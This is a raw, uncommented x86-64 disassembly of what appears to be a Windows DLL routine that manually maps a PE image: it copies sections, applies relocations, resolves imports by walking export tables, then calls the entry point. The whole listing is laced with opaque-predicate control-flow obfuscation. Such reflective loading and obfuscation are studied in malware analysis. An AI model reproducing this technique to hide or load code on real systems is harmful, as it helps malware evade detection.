mov edx, dword [r10]
cmp eax, 0xa
jl 0x1800024d3
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
jne 0x180002734
test edx, edx
je 0x180002540
mov ecx, dword [r10 - 4]
add rcx, r15
mov edi, dword [r10 + 4]
add rdi, r14
add rdi, 0x404
cmp eax, 0xa
jge 0x180002505
jmp 0x180002514
add rdi, 1
add rcx, 1
test rdx, rdx
je 0x180002547
cmp eax, 0xa
jl 0x180002514
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180002710
add rdx, 0xffffffffffffffff
movzx eax, byte [rdi]
mov byte [rcx], al
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x1800024f3
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x1800024f3
movzx eax, byte [rdi]
mov byte [rcx], al
jmp 0x180002518
mov edx, 1
jmp 0x18000255c
mov edi, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rdi - 1]
imul edx, edi
and edx, 1
mov r11d, ebx
cmp ecx, 0xa
jl 0x18000258e
mov r12d, ebx
test edx, edx
jne 0x180002642
jmp 0x18000258e
cmp eax, 0xa
jl 0x180002425
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x180002425
jmp 0x180002732
mov ecx, dword [r10]
cmp eax, 0xa
jl 0x1800025a7
lea edx, [r11 - 1]
imul edx, r11d
and edx, 1
jne 0x180002736
test ecx, ecx
je 0x18000261b
mov edx, dword [r10 - 4]
add rdx, r15
mov esi, dword [r10 + 4]
lea rdi, [rsi + r14]
add rdi, 0x404
mov ebx, r11d
cmp eax, 0xa
jge 0x1800025e0
jmp 0x1800025ef
add rdi, 1
add rdx, 1
mov r11d, ebx
test rcx, rcx
je 0x18000261b
cmp eax, 0xa
jl 0x1800025ef
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180002720
add rcx, 0xffffffffffffffff
movzx eax, byte [rdi]
mov byte [rdx], al
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x1800025cb
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x1800025cb
movzx eax, byte [rdi]
mov byte [rdx], al
jmp 0x1800025f3
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x180002571
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x180002571
mov r12d, r11d
mov ecx, dword [r10]
cmp eax, 0xa
jl 0x18000265c
lea edx, [r12 - 1]
imul edx, r12d
and edx, 1
jne 0x180002738
test ecx, ecx
je 0x1800026d4
mov edx, dword [r10 - 4]
add rdx, r15
mov ebx, dword [r10 + 4]
lea rdi, [rbx + r14]
add rdi, 0x404
mov ebx, r12d
cmp eax, 0xa
jge 0x180002699
jmp 0x1800026a8
add rdi, 1
add rdx, 1
mov r11d, ebx
test rcx, rcx
je 0x18000258e
cmp eax, 0xa
jl 0x1800026a8
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180002730
add rcx, 0xffffffffffffffff
movzx eax, byte [rdi]
mov byte [rdx], al
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002680
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x180002680
movzx eax, byte [rdi]
mov byte [rdx], al
jmp 0x1800026ac
mov r11d, r12d
jmp 0x18000258e
add r9, 1
cmp ecx, 0xa
mov rsi, qword [rbp]
jl 0x1800023ec
test edi, edi
je 0x1800023ec
jmp 0x1800023e0
jmp 0x180002700
jmp 0x180002710
jmp 0x180002720
jmp 0x180002730
jmp 0x180002732
jmp 0x180002734
jmp 0x180002736
jmp 0x180002738
mov rax, qword [rbp]
mov rax, qword [rax + 0x30]
mov r11, r15
sub r11, rax
cmp ecx, 0xa
jl 0x18000275a
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x18000275a
jmp 0x180002758
mov rax, qword [rbp]
mov ebx, dword [rax + 0xb0]
add rbx, r15
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
je 0x18000292e
mov eax, dword [rbx + 4]
cmp rax, 8
jb 0x1800028f8
cmp ecx, 0xa
jl 0x18000279b
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
jne 0x180002928
add rax, r8
shr rax, 1
mov r9d, eax
xor r10d, r10d
cmp r10, r9
je 0x1800028f8
movzx edi, word [rbx + r10*2 + 8]
mov esi, edi
shr esi, 0xc
mov eax, edi
and eax, 0xfff
cmp edi, 0xa000
jae 0x180002867
cmp esi, 3
jne 0x1800028cf
mov ecx, dword [rbx]
lea rcx, [r15 + rcx*4]
mov eax, eax
add dword [rcx + rax*4], r11d
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x1800028cf
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x1800028cf
lea rax, [r15 + rax*4]
cmp ecx, 0xa
jl 0x18000281b
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x18000283b
mov ecx, dword [rbx]
add dword [rax + rcx*4], r11d
cmp dword [0x180020a70], 0xa
jl 0x180002843
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002843
mov ecx, dword [rbx]
add dword [rax + rcx*4], r11d
jmp 0x18000281b
mov ecx, dword [rbx]
add dword [rax + rcx*4], r11d
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x1800028cf
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x18000280b
jmp 0x1800028cf
cmp esi, 0xa
jne 0x1800028cf
mov ecx, dword [rbx]
add rax, r15
add qword [rcx + rax], r11
mov edx, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
cmp ecx, 0xa
jl 0x1800028cf
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
je 0x1800028cf
cmp ecx, 0xa
jl 0x1800028a5
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x180002926
mov ecx, dword [rbx]
add qword [rax + rcx], r11
mov ecx, dword [0x180020a6c]
mov edx, dword [0x180020a70]
mov esi, dword [rbx]
add qword [rax + rsi], r11
cmp edx, 0xa
jl 0x180002875
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800028a5
jmp 0x180002875
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800028e1
test eax, eax
jne 0x18000292a
add r10, 1
cmp ecx, 0xa
jl 0x1800027a7
test eax, eax
je 0x1800027a7
jmp 0x180002928
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x18000290a
test eax, eax
jne 0x18000292c
mov edi, dword [rbx + 4]
add rbx, rdi
cmp ecx, 0xa
jl 0x180002771
test eax, eax
je 0x180002771
jmp 0x180002758
jmp 0x180002926
jmp 0x180002928
jmp 0x18000292a
jmp 0x18000292c
cmp ecx, 0xa
jl 0x180002940
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180002940
jmp 0x18000293e
lea rax, [r15 + 2]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp]
mov eax, dword [rax + 0x90]
add rax, r15
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x180002d55
add r12, r15
sub rsp, 0x20
jmp 0x180002987
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
mov rcx, qword [rbp - 8]
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800029b5
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d43
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800029e4
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d45
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r13
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x180002a15
add rbx, 1
add rsi, 1
cmp al, dl
je 0x1800029ff
cmp al, dl
je 0x180002a23
add rdi, 4
add rcx, 2
jmp 0x1800029f7
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
add rsp, 0x20
mov r14, rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002b08
test edx, edx
je 0x180002b08
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002a96
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d47
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002ac5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d49
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r13
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x180002af6
add rbx, 1
add rsi, 1
cmp al, dl
je 0x180002ae0
cmp al, dl
je 0x180002973
add rdi, 4
add rcx, 2
jmp 0x180002ad8
cmp ecx, 0xa
jl 0x180002b15
test edx, edx
jne 0x180002d53
mov rbx, qword [rbp - 0x18]
mov edi, dword [rbx]
mov r12d, dword [rbx + 0x10]
add rdi, r15
mov qword [rbp - 0x20], rdi
add r12, r15
mov rbx, qword [rbp - 0x20]
mov rbx, qword [rbx]
test rbx, rbx
je 0x180002d21
mov rax, qword [rbp - 0x30]
add rax, rbx
test rbx, rbx
movzx ebx, bx
cmovns rbx, rax
mov qword [rbp - 0x10], rbx
cmp ecx, 0xa
jl 0x180002b74
test edx, edx
jne 0x180002c5b
jmp 0x180002b74
add r12, 8
add qword [rbp - 0x20], 8
cmp ecx, 0xa
jl 0x180002b29
test edx, edx
je 0x180002b29
jmp 0x180002d53
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002ba6
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d4b
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002bd5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d4f
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002c07
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180002bf1
cmp al, bl
je 0x180002c15
add rdx, 4
add rcx, 2
jmp 0x180002be8
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, qword [rbp - 0x10]
call r9
add rsp, 0x20
mov qword [r12], rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002b5d
test edx, edx
je 0x180002b5d
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002e10
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002c8d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002d4d
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002cbc
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002d51
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002cee
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180002cd8
cmp al, bl
je 0x180002cfc
add rdx, 4
add rcx, 2
jmp 0x180002ccf
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, qword [rbp - 0x10]
call r9
add rsp, 0x20
mov qword [r12], rax
jmp 0x180002b74
add qword [rbp - 0x18], 0x14
cmp ecx, 0xa
jl 0x180002959
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002959
jmp 0x18000293e
jmp 0x180002d43
jmp 0x180002d45
jmp 0x180002d47
jmp 0x180002d49
jmp 0x180002d4b
jmp 0x180002d4d
jmp 0x180002d4f
jmp 0x180002d51
jmp 0x180002d53
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x180002df1
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002df1
mov rbx, qword [rbp]
cmp eax, 0xa
jl 0x180002d99
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002e02
mov eax, dword [rbx + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
mov esi, dword [0x180020a6c]
mov edi, dword [0x180020a70]
mov eax, dword [rbx + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
cmp edi, 0xa
jl 0x180002dd5
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180002d99
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x180002df1
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002d89
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
jmp 0x180002e02